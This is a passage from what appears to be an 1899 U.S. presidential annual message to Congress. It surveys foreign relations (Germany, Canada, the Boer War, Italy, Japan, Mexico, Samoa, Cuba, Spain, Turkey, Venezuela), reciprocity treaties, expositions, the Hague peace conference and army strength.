Emden, on the North Sea, by way of the Azores, and also by the\nconclusion on September 2 of a Parcels Post Convention with the German\nEmpire. In all that promises closer relations of intercourse and commerce\nand a better understanding between two races having so many traits in\ncommon, Germany can be assured of the most cordial cooperation of this\nGovernment and people. We may be rivals in many material paths, but our\nrivalry should be generous and open, ever aiming toward the attainment of\nlarger results and the mutually beneficial advancement of each in the line\nof its especial adaptabilities.The several governments of the Empire seem reluctant to admit the natural\nexcellence of our food productions and to accept the evidence we constantly\ntender of the care with which their purity is guarded by rigid inspection\nfrom the farm, through the slaughterhouse and the packing establishments,\nto the port of shipment. Our system of control over exported food staples\ninvites examination from any quarter and challenges respect by its\nefficient thoroughness.It is to be hoped that in time the two Governments will act in common\naccord toward the realization of their common purpose to safeguard the\npublic health and to insure the purity and wholesomeness of all food\nproducts imported by either country from the other. Were the Congress to\nauthorize an invitation to Germany, in connection with the pending\nreciprocity negotiations, for the constitution of a joint commission of\nscientific experts and practical men of affairs to conduct a searching\ninvestigation of food production and exportation in both countries and\nreport to their respective legislatures for the adoption of such remedial\nmeasures as they might recommend for either, the way might be opened for\nthe desirable result indicated.Efforts to obtain for American life insurance companies a full hearing as\nto their business operations in Prussia have, after several years of\npatient representation, happily succeeded, and one of the most important\nAmerican companies has been granted a concession to continue business in\nthat Kingdom.I am also glad to announce that the German insurance companies have been\nreadmitted by the superintendent of insurance to do business in the State\nof New York.Subsequent to the exchange of our peace treaty with Spain, Germany acquired\nthe Caroline Islands by purchase, paying therefore $5,000,000. Assurances\nhave been received from the German Government that the rights of American\nmissionaries and traders there will be considerately observed.In my last annual message I referred to the pending negotiations with Great\nBritain in respect to the Dominion of Canada. By means of an executive\nagreement, a joint High Commission had been created for the purpose of\nadjusting all unsettled questions between the United States and Canada,\nembracing twelve subjects, among which were the questions of the fur seals,\nthe fisheries of the coast and contiguous inland waters, the Alaskan\nboundary, the transit of merchandise in bond, the alien labor laws, mining\nrights, reciprocity in trade, revision of the agreement respecting naval\nvessels in the Great Lakes, a more complete marking of parts of the\nboundary, provision for the conveyance of criminals, and for wrecking and\nsalvage.Much progress had been made by the Commission toward the adjustment of many\nof these questions, when it became apparent that an irreconcilable\ndifference of views was entertained respecting the delimitation of the\nAlaskan, boundary. In the failure of an agreement as to the meaning of\nArticles III and IV of the treaty of 1825 between Russia and Great Britain,\nwhich defined the boundary between Alaska and Canada, the American\nCommissioners proposed that the subject of the boundary be laid aside, and\nthat the remaining questions of difference be proceeded with, some of which\nwere so far advanced as to assure the probability of a settlement. This\nbeing declined by the British Commissioners, an adjournment was taken until\nthe boundary should be adjusted by the two Governments. The subject has\nbeen receiving the careful attention which its importance demands, with the\nresult that a modus vivendi for provisional demarcations in the region\nabout the head of Lynn Canal has, been agreed upon; and it is hoped that\nthe negotiations now in progress between the two Governments will end in an\nagreement for the establishment and delimitation of a permanent boundary.Apart from these questions growing out of our relationship with our\nnorthern neighbor, the most friendly disposition and ready agreement have\nmarked the discussion of numerous matters arising in the vast and intimate\nintercourse of the United States with Great Britain.This Government has maintained an attitude of neutrality in the unfortunate\ncontest between Great Britain and the Boer States of Africa. We have\nremained faithful to the precept of avoiding entangling alliances as to\naffairs not of our direct concern. Had circumstances suggested that the\nparties to the quarrel would have welcomed any kindly expression of the\nhope of the American people that war might be averted, good offices would\nhave been gladly tendered. The United States representative at Pretoria was\nearly instructed to see that all neutral American interests be respected by\nthe combatants. This has been an easy task in view of the positive\ndeclarations of both British and Boer authorities that the personal and\nproperty rights of our citizens should be observed.Upon the withdrawal of the British agent from Pretoria the United States\nconsul was authorized, upon the request of the British Government and with\nthe assent of the South African and Orange Free State Governments, to\nexercise the customary good offices of a neutral for the care of British\ninterests. In the discharge of this function, I am happy to say that\nabundant opportunity has been afforded to show the impartiality of this\nGovernment toward both the combatants.For the fourth time in the present decade, question has arisen with the\nGovernment of Italy in regard to the lynching of Italian subjects. The\nlatest of these deplorable events occurred at Tallulah, Louisiana, whereby\nfive unfortunates of Italian origin were taken from jail and hanged.The authorities of the State and a representative of the Italian Embassy\nhaving separately investigated the occurrence, with discrepant results,\nparticularly as to the alleged citizenship of the victims, and it not\nappearing that the State had been able to discover and punish the violators\nof the law, an independent investigation has been set on foot, through the\nagency of the Department of State, and is still in progress. The result\nwill enable the Executive to treat the question with the Government of\nItaly in a spirit of fairness and justice. A satisfactory solution will\ndoubtless be reached.The recurrence of these distressing manifestations of blind mob fury\ndirected at dependents or natives of a foreign country suggests that the\ncontingency has arisen for action by Congress in the direction of\nconferring upon the Federal courts jurisdiction in this class of\ninternational cases where the ultimate responsibility of the Federal\nGovernment may be involved. The suggestion is not new. In his annual\nmessage of December 9, 1891, my predecessor, President Harrison, said: It\nwould, I believe, be entirely competent for Congress to make offenses\nagainst the treaty rights of foreigners domiciled in the United States\ncognizable in the Federal courts. This has not, however, been done, and the\nFederal officers and courts have no power in such cases to intervene either\nfor the protection of a foreign citizen or for the punishment of his\nslayers. It seems to me to follow, in this state of the law, that the\nofficers of the State charged with police and judicial powers in such cases\nmust, in the consideration of international questions growing out of such\nincidents, be regarded in such sense as Federal agents as to make this\nGovernment answerable for their acts in cases where it would be answerable\nif the United States had used its constitutional power to define and punish\ncrimes against treaty rights. A bill to provide for the punishment of\nviolations of treaty rights of aliens was introduced in the Senate March 1,\n1892, and reported favorably March 30. Having doubtless in view the\nlanguage of that part of Article III of the treaty of February 26, 1871,\nbetween the United States and Italy, which stipulates that \"The citizens\nof each of the high contracting parties shall receive, in the States and\nTerritories of the other, most constant protection and security for their\npersons and property, and shall enjoy in this respect the same rights and\nprivileges as are or shall be granted to the natives, on their submitting\nthemselves to the conditions imposed upon the natives,\" the bill so\nintroduced and reported provided that any act committed in any State or\nTerritory of the United States in violation of the rights of a citizen or\nsubject of a foreign country secured to such citizen or subject by treaty\nbetween the United States and such foreign country and constituting a crime\nunder the laws of the State or Territory shall constitute a like crime\nagainst the United States and be cognizable in the Federal courts. No\naction was taken by Congress in the matter.I earnestly recommend that the subject be taken up anew and acted upon\nduring the present session. The necessity for some such provision\nabundantly appears. Precedent for constituting a Federal jurisdiction in\ncriminal cases where aliens are sufferers is rationally deducible from the\nexisting statute, which gives to the district and circuit courts of the\nUnited States jurisdiction of civil suits brought by aliens where the\namount involved exceeds a certain sum. If such jealous solicitude be shown\nfor alien rights in cases of merely civil and pecuniary import, how much\ngreater should be the public duty to take cognizance of matters affecting\nthe lives and the rights of aliens tinder the settled principles of\ninternational law no less than under treaty stipulation, in cases of such\ntranscendent wrong-doing as mob murder, especially when experience has\nshown that local justice is too often helpless to punish the offenders.After many years of endeavor on the part of this Government to that end the\nItalian Government has consented to enter into negotiations for a\nnaturalization convention, having for one of its objects the regulation of\nthe status of Italians (except those of an age for active military service)\nwho, having been naturalized in the United States, may revisit Italy. It is\nhoped that with the mutually conciliatory spirit displayed a successful\nconclusion will be reached.The treaty of commerce and navigation between the United States and Japan\non November 22, 1894, took effect in accordance with the terms of its XIXth\nArticle on the 17th of July last, simultaneously with the enforcement of\nlike treaties with the other powers, except France, whose convention did\nnot go into operation until August 4, the United States being, however,\ngranted up to that date all the privileges and rights accorded to French\ncitizens under the old French treaty. By this notable conventional reform\nJapan's position as a fully independent sovereign power is assured, control\nbeing gained of taxation, customs revenues, judicial administration,\ncoasting trade, and all other domestic functions of government, and foreign\nextra-territorial rights being renounced.Comprehensive codes of civil and criminal procedure according to western\nmethods, public instruction, patents and copyrights, municipal\nadministration, including jurisdiction over the former foreign settlements,\ncustoms tariffs and procedure, public health, and other administrative\nmeasures have been proclaimed. The working of the new system has given rise\nto no material complaints on the part of the American citizens or\ninterests, a circumstance which attests the ripe consideration with which\nthe change has been prepared.Valuable assistance was rendered by the Japanese authorities to the United\nStates transport ship Morgan City while stranded at Kobe. Permission has\nbeen granted to land and pasture army horses at Japanese ports of call on\nthe way to the Philippine Islands. These kindly evidences of good will are\nhighly appreciated.The Japanese Government has shown a lively interest in the proposition of\nthe Pacific Cable Company to add to its projected cable lines to Hawaii,\nGuam, and the Philippines a branch connection with the coast of Japan. It\nwould be a gratifying consummation were the utility of the contemplated\nscheme enhanced by bringing Japan and the United States into direct\ntelegraphic relation.Without repeating the observations of my special message of February 10,\n1899, concerning the necessity of a cable to Manila. I respectfully invite\nattention to it.I recommend that, in case the Congress should not take measures to bring\nabout this result by direct action of the Government, the Postmaster\nGeneral be authorized to invite competitive bids for the establishment of a\ncable; the company making the best responsible bid to be awarded the\ncontract; the successful company to give ample bonds to insure the\ncompletion of the work within a reasonable time.The year has been marked by constant increase in the intimacy of our\nrelations with Mexico and in the magnitude of mutually advantageous\ninterchanges. This Government has omitted no opportunity to show its strong\ndesire to develop and perpetuate the ties of cordiality now so long happily\nunbroken.Following the termination on January 20, 1899, by Mexico of the convention\nof extradition of December 11, 1861, a new treaty more in accordance with\nthe ascertained needs of both countries was signed February 22, 1899, and\nexchanged in the City of Mexico on the 22d of April last. Its operation\nthus far has been effective and satisfactory. A recent case has served to\ntest the application of its IVth Article, which provides that neither party\nshall be bound to deliver up its own citizens, but that the executive\nauthority of each shall have the power to deliver them up if in its\ndiscretion it be deemed proper to do so.The extradition of Mrs. Mattie Rich, a citizen of the United States,\ncharged with homicide committed in Mexico, was after mature consideration\ndirected by me in the conviction that the ends of justice would be thereby\nsubserved. Similar action, on appropriate occasion, by the Mexican\nExecutive will not only tend to accomplish the desire of both Governments\nthat grave crimes go not unpunished, but also to repress lawlessness along\nthe border of the two countries. The new treaty stipulates that neither\nGovernment shall assume jurisdiction in the punishment of crimes committed\nexclusively within the territory of the other. This will obviate in future\nthe embarrassing controversies which have heretofore arisen through\nMexico's assertion of a claim to try and punish an American citizen for an\noffense committed within the jurisdiction of the United States.The International Water Boundary Commission, organized by the convention of\nMarch 1, 1889, for the adjustment of questions affecting the Rio Grande\nfrontier, has not yet completed its labors. A further extension of its term\nfor one year, until December 24, 1899, was effected by a convention signed\nDecember z, 1898, and exchanged and proclaimed in February last.An invitation extended to the President of Mexico to visit Chicago in\nOctober, on the occasion of laying the corner stone of the United States\nGovernment building in that city, was cordially accepted by him, with the\nnecessary consent of the Mexican Congress, but the illness of a member of\nhis family prevented his attendance. The Minister of Foreign Relations,\nhowever, came as the personal representative of President Diaz, and in that\nhigh character was duly honored.Claims growing out of the seizure of American sealing vessels in Bering Sea\nhave been under discussion with the Government of Russia for several years,\nwith the recent happy result of an agreement to submit them to the decision\nof a single arbitrator. By this act Russia affords proof of her adherence\nto the beneficent principle of arbitration which her plenipotentiaries\nconspicuously favored at The Hague Disarmament Conference when it was\nadvocated by the representatives of the United States.A suggestion for a permanent exposition of our products and manufactures in\nRussia, although not yet fully shaped, has been so cordially welcomed by\nthe Imperial Government that it may not inaptly take a fitting place in\nwhatever legislation the Congress may adopt looking to enlargement of our\ncommercial opportunities abroad.Important events have occurred in the Samoan Islands. The election,\naccording to the laws and customs of Samoa, of a successor to the late\nKing, Malietoa Laupepa, developed a contest as to the validity of the\nresult, which issue, by the terms of the General Act, was to be decided by\nthe Chief justice. Upon his rendering a judgment in favor of Malietoa Tanu,\nthe rival chief, Mataafa, took up arms. The active intervention of American\nand British war ships became imperative to restore order, at the cost of\nsanguinary encounters. In this emergency a joint commission of\nrepresentatives of the United States, Germany, and Great Britain was sent\nto Samoa to investigate the situation and provide a temporary remedy. By\nits active efforts a peaceful solution was reached for the time being, the\nkingship being abolished and a provisional government established.\nRecommendations unanimously made by the commission for a permanent\nadjustment of the Samoan question were taken under consideration by the\nthree powers parties to the General Act. But the more they were examined\nthe more evident it became that a radical change was necessary in the\nrelations of the powers to Samoa.The inconveniences and possible perils of the tripartite scheme of\nsupervision and control in the Samoan group by powers having little\ninterest in common in that quarter beyond commercial rivalry had been once\nmore emphasized by the recent events. The suggested remedy of the joint\nCommission, like the scheme it aimed to replace amounted to what has been\nstyled a tridominium, being the exercise of the functions of sovereignty by\nan unanimous agreement of three powers. The situation had become far more\nintricate and embarrassing from every point of view than it was when my\npredecessor, in 1894, summed up its perplexities and condemned the\nparticipation in it of the United States.The arrangement under which Samoa was administered had proved impracticable\nand unacceptable to all the powers concerned. To withdraw from the\nagreement and abandon the islands to Germany and Great Britain would not be\ncompatible with our interests in the archipelago. To relinquish our rights\nin the harbor of Pago Pago, the best anchorage in the Pacific, the\noccupancy of which had been leased to the United States in 1878 by the\nfirst foreign treaty ever concluded by Samoa, was not to be thought of\neither as regards the needs of our Navy or the interests of our growing\ncommerce with the East. We could not have considered any proposition for\nthe abrogation of the tripartite control which did not confirm us in all\nour rights and safeguard all our national interests in the islands.Our views commended themselves to the other powers. A satisfactory\narrangement was concluded between the Governments of Germany and of\nEngland, by virtue of which England retired from Samoa in view of\ncompensations in other directions, and both powers renounced in favor of\nthe United States all their rights and claims over and in respect to that\nportion of the group lying to the east of the one hundred and seventy-first\ndegree of west longitude, embracing the islands of Tutuila, Ofoo, Olosenga,\nand Manua. I transmit to the Senate, for its constitutional action thereon,\na convention, which besides the provisions above mentioned also guarantees\nus the same privileges and conditions in respect to commerce and commercial\nvessels in all of the islands of Samoa as those possessed by Germany.Claims have been preferred by white residents of Samoa on account of\ninjuries alleged to have been suffered through the acts of the treaty\nGovernments in putting down the late disturbances. A convention has been\nmade between the three powers for the investigation and settlement of these\nclaims by a neutral arbitrator, to which the attention of the Senate will\nbe invited.My annual message of last year was necessarily devoted, in great part to a\nconsideration of the Spanish War and of the results it wrought and the\nconditions it imposed for the future. I am gratified to announce that the\ntreaty of peace has restored friendly relations between the two powers.\nEffect has been given to its most important provisions. The evacuation of\nPuerto Rico having already been accomplished on the XIVth of October, 1898,\nnothing remained necessary there but to continue the provisional military\ncontrol of the island until the Congress should enact a suitable government\nfor the ceded territory. Of the character and scope of the measures to that\nend I shall treat in another part of this message.The withdrawal of the authority of Spain from the island of Cuba was\neffected by the 1st of January, so that the full re-establishment of peace\nfound the relinquished territory held by us in trust for the inhabitants,\nmaintaining, under the direction of the Executive, such government and\ncontrol therein as should conserve public order, restore the productive\nconditions of peace so long disturbed by the instability and disorder which\nprevailed for the greater part of the preceding three decades, and build up\nthat tranquil development of the domestic state whereby alone can be\nrealized the high purpose, as proclaimed in the joint resolution adopted by\nthe Congress on the 19th of April, 1898, by which the United States\ndisclaimed any disposition or intention to exercise sovereignty,\njurisdiction, or control over Cuba, except for the pacification thereof,\nand asserted its determination when that was accomplished to leave the\ngovernment and control of the island to its people. The pledge contained in\nthis resolution is of the highest honorable obligation and must be sacredly\nkept.I believe that substantial progress has been made in this direction. All\nthe administrative measures adopted in Cuba have aimed to fit it for a\nregenerated existence by enforcing the supremacy of law and justice; by\nplacing wherever practicable the machinery of administration in the hands\nof the inhabitants; by instituting needed sanitary reforms; by spreading\neducation; by fostering industry and trade; by inculcating public morality,\nand, in short, by taking every rational step to aid the Cuban people to\nattain to that plane of self-conscious respect and self-reliant unity which\nfits an enlightened community for self-government within its own sphere,\nwhile enabling it to fulfill all outward obligation.This nation has assumed before the world a grave responsibility for the\nfuture good government of Cuba. We have accepted a trust the fulfillment of\nwhich calls for the sternest integrity of purpose and the exercise of the\nhighest wisdom. The new Cuba yet to arise from the ashes of the past must\nneeds be bound to us by ties of singular intimacy and strength if its\nenduring welfare is to be assured. Whether those ties shall be organic or\nconventional, the destinies of Cuba are in some rightful form and manner\nirrevocably linked with our own, but how and how far is for the future to\ndetermine in the ripeness of events. Whatever be the outcome, we must see\nto it that free Cuba be a reality, not a name, a perfect entity, not a\nhasty experiment bearing within itself the elements of failure. Our\nmission, to accomplish which we took up the wager of battle, is not to be\nfulfilled by turning adrift any loosely framed commonwealth to face the\nvicissitudes which too often attend weaker States whose natural wealth and\nabundant resources are offset by the incongruities of their political\norganization and the recurring occasions for internal rivalries to sap\ntheir strength and dissipate their energies. The greatest blessing which\ncan come to Cuba is the restoration of her agricultural and industrial\nprosperity, which will give employment to idle men and re-establish the\npursuits of peace. This is her chief and immediate need.On the 19th of August last an order was made for the taking of the census\nin the island, to be completed on the 30th of November. By the treaty of\npeace the Spanish people on the island have until April 11, 1900, to elect\nwhether they will remain citizens of Spain or become citizens of Cuba.\nUntil then it cannot be definitely ascertained who shall be entitled to\nparticipate in the formation of the government of Cuba. By that time the\nresults of the census will have been tabulated and we shall proceed to\nprovide for elections which will commit the municipal governments of the\nisland to the officers elected by the people. The experience thus acquired\nwill prove of great value in the formation of a representative convention\nof the people to draft a constitution and establish a general system of\nindependent government for the island. In the meantime and so long as we\nexercise control over the island the products of Cuba should have a market\nin the United States on as good terms and with as favorable rates of duty\nas are given to the West India Islands under treaties of reciprocity which\nshall be made.For the relief of the distressed in the island of Cuba the War Department\nhas issued supplies to destitute persons through the officers of the Army,\nwhich have amounted to 5,493,000 rations, at a cost Of $1,417,554.07.To promote the disarmament of the Cuban volunteer army, and in the interest\nof public peace and the welfare of the people, the sum Of $75 was paid to\neach Cuban soldier borne upon the authenticated rolls, on condition that he\nshould deposit his arms with the authorities designated by the United\nStates. The sum thus disbursed aggregated $2,547,750, which was paid from\nthe emergency fund provided by the act of January 5, 1899, for that\npurpose.Out of the Cuban island revenues during the six months ending June 30,\n1899, $1,712,014.20 was expended for sanitation, $293,881.70 for charities\nand hospitals, and $88,944.03 for aid to the destitute.Following the exchange of ratifications of the treaty of peace the two\nGovernments accredited ministers to each other, Spain sending to Washington\nthe Duke of Arcos, an eminent diplomatist, previously stationed in Mexico,\nwhile the United States transferred to Madrid Hon. Bellamy Storer, its\nminister at Brussels. This was followed by the respective appointment of\nconsuls, thereby fully resuming the relations interrupted by the war. In\naddition to its consular representation in the United States, the Spanish\nGovernment has appointed consuls for Cuba, who have been provisionally\nrecognized during the military administration of the affairs of that\nisland.Judicial intercourse between the courts of Cuba and Puerto Rico and of\nSpain has been established, as provided by the treaty of peace. The Cuban\npolitical prisoners in Spanish penal stations have been and are being\nreleased and returned to their homes, in accordance with Article VI of the\ntreaty. Negotiations are about to be had for defining the conventional\nrelations between the two countries, which fell into abeyance by reason of\nthe war. I trust that these will include a favorable arrangement for\ncommercial reciprocity under the terms of sections 3 and 4 of the current\ntariff act. In these, as in all matters of international concern, no effort\nwill be spared to respond to the good disposition of Spain, and to\ncultivate in all practicable ways the intimacy which should prevail between\ntwo nations whose past history has so often and in so many ways been marked\nby sincere friendship and by community of interests.I would recommend appropriate legislation in order to carry into execution\nArticle VII of the Treaty of Peace with Spain, by which the United States\nassured the payment of certain claims for indemnity of its citizens against\nSpain.The United States minister to Turkey continues, under instructions, to\npress for a money payment in satisfaction of the just claims for injuries\nsuffered by American citizens in the disorders of several years past and\nfor wrongs done to them by the Ottoman authorities. Some of these claims\nare of many years' standing. This Government is hopeful of a general\nagreement in this regard.In the Turkish Empire the situation of our citizens remains unsatisfactory.\nOur efforts during nearly forty years to bring about a convention of\nnaturalization seem to be on the brink of final failure through the\nannounced policy of the Ottoman Porte to refuse recognition of the alien\nstatus of native Turkish subjects naturalized abroad since 1867. Our\nstatutes do not allow this Government to admit any distinction between the\ntreatment of native and naturalized Americans abroad, so that ceaseless\ncontroversy arises in cases where persons owing in the eye of international\nlaw a dual allegiance are prevented from entering Turkey or are expelled\nafter entrance. Our law in this regard contrasts with that of the European\nStates. The British act, for instance, does not claim effect for the\nnaturalization of an alien in the event of his return to his native\ncountry, unless the change be recognized by the law of that country or\nstipulated by treaty between it and the naturalizing State.The arbitrary treatment, in some instances, of American productions in\nTurkey has attracted attention of late, notably in regard to our flour.\nLarge shipments by the recently opened direct steamship line to Turkish\nports have been denied entrance on the score that, although of standard\ncomposition and unquestioned purity, the flour was pernicious to health\nbecause of deficient \"elasticity\" as indicated by antiquated and\nuntrustworthy tests. Upon due protest by the American minister, and it\nappearing that the act was a virtual discrimination against our product,\nthe shipments in question were admitted. In these, as in all instances,\nwherever occurring, when American products may be subjected in a foreign\ncountry, upon specious pretexts, to discrimination compared with the like\nproducts of another country, this Government will use its earnest efforts\nto secure fair and equal treatment for its citizens and their goods.\nFailing this, it will not hesitate to apply whatever corrective may be\nprovided by the statutes.The International Commission of Arbitration, appointed under the\nAnglo-Venezuelan treaty of 1897, rendered an award on October 3 last,\nwhereby the boundary line between Venezuela and British Guiana is\ndetermined, thus ending a controversy which has existed for the greater\npart of the century. The award, as to which the arbitrators were unanimous,\nwhile not meeting the extreme contention of either party, gives to Great\nBritain a large share of the interior territory in dispute and to Venezuela\nthe entire mouth of the Orinoco, including Barima Point and the Caribbean\nlittoral for some distance to the eastward. The decision appears to be\nequally satisfactory to both parties.Venezuela has once more undergone a revolution. The insurgents, under\nGeneral Castro, after a sanguinary engagement in which they suffered much\nloss, rallied in the mountainous interior and advanced toward the capital.\nThe bulk of the army having sided with the movement, President Andrade\nquitted Caracas, where General Castro set up a provisional government with\nwhich our minister and the representatives of other powers entered into\ndiplomatic relations on the 20th of November, 1899.The fourth section of the Tariff Act approved July 24, 1897, appears to\nprovide only for commercial treaties which should be entered into by the\nPresident and also ratified by the Senate within two years from its\npassage. Owing to delays inevitable in negotiations of this nature, none of\nthe treaties initiated under that section could be concluded in time for\nratification by the Senate prior to its adjournment on the 4th of March\nlast. Some of the pending negotiations, however, were near conclusion at\nthat time, and the resulting conventions have since been signed by the\nplenipotentiaries. Others, within both the third and fourth sections of the\nact, are still under consideration. Acting under the constitutional power\nof the Executive in respect to treaties, I have deemed it my duty, while\nobserving the limitations of concession provided by the fourth section, to\nbring to a conclusion all pending negotiations, and submit them to the\nSenate for its advice and consent.Conventions of reciprocity have been signed during the Congressional recess\nwith Great Britain for the respective colonies of British Guiana, Barbados,\nBermuda, Jamaica, and Turks and Caicos Islands, and with the Republic of\nNicaragua.Important reciprocal conventions have also been concluded with France and\nwith the Argentine Republic.In my last annual message the progress noted in the work of the diplomatic\nand consular officers in collecting information as to the industries and\ncommerce of other countries, and in the care and promptitude with which\ntheir reports are printed and distributed, has continued during the past\nyear, with increasingly valuable results in suggesting new sources of\ndemand for American products and in pointing out the obstacles still to be\novercome in facilitating the remarkable expansion of our foreign trade. It\nwill doubtless be gratifying to Congress to learn that the various agencies\nof the Department of State are co-operating in these endeavors with a zeal\nand effectiveness which are not only receiving the cordial recognition of\nour business interests, but are exciting the emulation of other\nGovernments. In any rearrangement of the great and complicated work of\nobtaining official data of an economic character which Congress may\nundertake it is most important, in my judgment, that the results already\nsecured by the efforts of the Department of State should be carefully\nconsidered with a view to a judicious development and increased utility to\nour export trade.The interest taken by the various States forming the International Union of\nAmerican Republics in the work of its organic bureau is evidenced by the\nfact that for the first time since its creation in 1890 all the Republics\nof South and Central America are now represented in it.The unanimous recommendation of the International American Conference,\nproviding for the International Union of American Republics, stated that it\nshould continue in force during a term of ten years from the date of its\norganization, and no country becoming a member of the union should cease to\nbe a member until the end of said period of ten years, and unless twelve\nmonths before the expiration of said period a majority of the members of\nthe union had given to the Secretary of State of the United States official\nnotice of their wish to terminate the union at the end of its first period,\nthat the union should continue to be maintained for another period of ten\nyears, and thereafter, under the same conditions, for successive periods of\nten years each.The period for notification expired on July 14, 1899, without any of the\nmembers having given the necessary notice of withdrawal. Its maintenance is\ntherefore assured for the next ten years. In view of this fact and of the\nnumerous questions of general interest and common benefit to all of the\nRepublics of America, some of which were considered by the first\nInternational American Conference, but not finally settled, and others\nwhich have since then grown to importance, it would seem expedient that the\nvarious Republics constituting the Union should be invited to hold at an\nearly date another conference in the capital of one of the countries other\nthan the United States, which has already enjoyed this honor.The purely international character of the work being done by the bureau and\nthe appreciation of its value are further emphasized by the active\nco-operation which the various Governments of the Latin. American Republics\nand their diplomatic representatives in this capital are now exhibiting and\nthe zealous endeavors they are making to extend its field of usefulness, to\npromote through it commercial intercourse, and strengthen the bonds of\namity and confidence between its various members and the nations of this\ncontinent.The act to encourage the holding of the Pan-American Exposition on the\nNiagara frontier, within the county of Erie or Niagara, in the State of New\nYork, in the year 1901, was approved on March 3, 1899.This exposition, which will be held in the city of Buffalo, in the near\nvicinity of the great Niagara cataract, and within a day's journey of which\nreside 40, 000, 000 Of our people, will be confined entirely to the Western\nHemisphere. Satisfactory assurances have already been given by the\ndiplomatic representatives of Great Britain, Mexico, the Central and South\nAmerican Republics, and most of the States of the United States that these\ncountries and States will make an unique, interesting, and instructive\nexhibit, peculiarly illustrative of their material progress during the\ncentury which is about to close.The law provides an appropriation Of $500,000 for the purpose of making an\nexhibit at the exposition by the Government of the United States from its\nExecutive Departments and from the Smithsonian Institution and National\nMuseum, the United States Commission of Fish and Fisheries, the Department\nof Labor, and the Bureau of the American Republics. To secure a complete\nand harmonious arrangement of this Government exhibit a board of management\nhas already been created, and charged with the selection, purchase,\npreparation, transportation, arrangement, and safe-keeping of the articles\nand materials to be exhibited. This board has been organized and has\nalready entered upon the performance of its duties, as provided for by the\nlaw.I have every reason to hope and believe that this exposition will tend more\nfirmly to cement the cordial relations between the nations on this\ncontinent.In accordance with an act of Congress approved December 21, 1898, and under\nthe auspices of the Philadelphia Commercial Museum, a most interesting and\nvaluable exposition of products and manufactures especially adapted to\nexport trade was held in Philadelphia from the 14th of September to the 1st\nof December, 1899. The representative character of the exhibits and the\nwidespread interest manifested in the special objects of the undertaking\nafford renewed encouragement to those who look confidently to the steady\ngrowth of our enlarged exportation of manufactured goods, which has been\nthe most remarkable fact in the economic development of the United States\nin recent years. A feature of this exposition which is likely to become of\npermanent and increasing utility to our industries is the collection of\nsamples of merchandise produced in various countries with special reference\nto particular markets, providing practical object lessons to United States\nmanufacturers as to qualities, styles, and prices of goods such as meet the\nspecial demands of consumers and may be exported with advantage.In connection with the exposition an International Commercial Congress was\nheld, upon the invitation of the Philadelphia Commercial Museum,\ntransmitted by the Department of State to the various foreign Governments,\nfor an exchange of information and opinions with the view to the promotion\nof international trade. This invitation met with general and cordial\nacceptance, and the Congress, which began its sessions at the exposition on\nthe 13th of October proved to be of great practical importance, from the\nfact that it developed a general recognition of the interdependence of\nnations in trade and a most gratifying spirit of accommodation with\nreference to the gradual removal of existing impediments to reciprocal\nrelations, without injury to the industrial interests of either party.In response to the invitation of His Majesty, the Emperor of Russia,\ndelegates from twenty-six countries were assembled at The Hague on the 18th\nof May, as members of a conference in the interest of peace. The commission\nfrom the United States consisted of the Hon. Andrew D. White, the Hon. Seth\nLow, the Hon. Stanford Newel, Captain Alfred T. Mahan, of the United States\nNavy, Captain William Crozier, of the United States Army, and the Hon.\nFrederick W. Holls, secretary. The occasion seemed to be opportune for the\nserious consideration of a plan for the pacific adjustment of international\ndifferences, a subject in which the American people have been deeply\ninterested for many years, and a definite project for a permanent\ninternational tribunal was included in the instructions to the delegates of\nthe United States.The final act of the conference includes conventions upon the amelioration\nof the laws and customs of war on land, the adaptation to maritime warfare\nof the principles of the Geneva Convention of 1864, and the extension of\njudicial methods to international cases. The Convention for the Pacific\nSettlement of International Conflicts embodies the leading features of the\nAmerican plan, with such modifications as were rendered necessary by the\ngreat diversity of views and interests represented by the delegates. The\nfour titles of the convention provide for the maintenance of general peace,\nthe exercise of good offices and mediation, the formation of commissions of\ninquiry, and international arbitration.The mediation provided for by the convention is purely voluntary and\nadvisory, and is intended to avoid any invasion or limitation of the\nsovereign rights of the adhering States. The commissions of inquiry\nproposed consists of delegations to be specifically constituted for\nparticular purposes by means of conventions between the contesting parties,\nhaving for their object the clear understanding of international\ndifferences before resorting to the use of force. The provision for\narbitration contemplates the formation of a permanent tribunal before which\ndisputed cases may be brought for settlement by the mutual consent of the\nlitigants in each separate case. The advantages of such a permanent\ntribunal over impromptu commissions of arbitration are conceived to be the\nactual existence of a competent court, prepared to administer justice, the\ngreater economy resulting from a well-devised system, and the accumulated\njudicial skill and experience which such a tribunal would soon possess.While earnestly promoting the idea of establishing a permanent\ninternational tribunal, the delegation of the United States was not\nunmindful of the inconveniences which might arise from an obtrusive\nexercise of mediation, and in signing the convention carefully guarded the\nhistoric position of the United States by the following declaration:\nNothing contained in this convention shall be so construed as to require\nthe United States of America to depart from its traditional policy of not\nintruding upon, interfering with, or entangling itself in the political\nquestions or policy or internal administration of any foreign state; nor\nshall anything contained in the said convention be construed to imply a\nrelinquishment by the United. States of America of its traditional attitude\ntoward purely American questions. Thus interpreted, the Convention for the\nPacific Settlement of International Conflicts may be regarded as realizing\nthe earnest desire of great numbers of American citizens, whose deep sense\nof justice, expressed in numerous resolutions and memorials, has urged them\nto labor for this noble achievement. The general character of this\nconvention, already signed by the delegates of more than twenty sovereign\nStates, further commends it to the favorable action of the Senate of the\nUnited States, whose ratification it still awaits.Since my last annual message, and in obedience to the acts of the Congress\nof April 22 and 26, 1898, the remaining volunteer force enlisted for the\nSpanish War, consisting Of 34,834 regulars and 110,202 volunteers, with\nover 5,000 volunteer officers, has been discharged from the military\nservice. Of the volunteers, 667 officers and 14,831 men were serving in the\nPhilippines, and 1,650 of the regulars, who were entitled to be mustered\nout after the ratification of the treaty of peace. They voluntarily\nremained at the front until their places could be filled by new troops.\nThey were returned home in the order in which they went to Manila, and are\nnow all of them out of the service and in the ranks of citizenship. I\nrecommend that the Congress provide a special medal of honor for the\nvolunteers, regulars, sailors, and marines on duty in the Philippines who\nvoluntarily remained in the service after their terms of enlistment had\nexpired.By the act of March 2, 1899, Congress gave authority to increase the\nRegular Army to a maximum not exceeding 65,000 enlisted men, and to enlist\na force of 5,000 volunteers, to be recruited from the country at large. By\nvirtue of this authority the Regular Army has been increased to the number\nof 61,999 enlisted men and 2,248 officers, and new volunteer regiments have\nbeen organized aggregating 33,050 enlisted men and 1,524 officers. Two of\nthese volunteer regiments are made up of colored men, with colored line\nofficers. The new troops to take the places of those returning from the\nPhilippines have been transported to Manila to the number of 581 officers\nand 26,322 enlisted men of the Regular Army and 594 officers and 15,388\nenlisted men of the new volunteer force, while 504 officers and 14, 119 men\nof the volunteer force are on the ocean en route to Manila.The force now in Manila consists Of 905 